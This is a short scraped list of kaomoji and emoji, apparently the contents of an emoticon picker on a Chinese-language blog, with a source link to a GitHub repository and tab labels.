φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇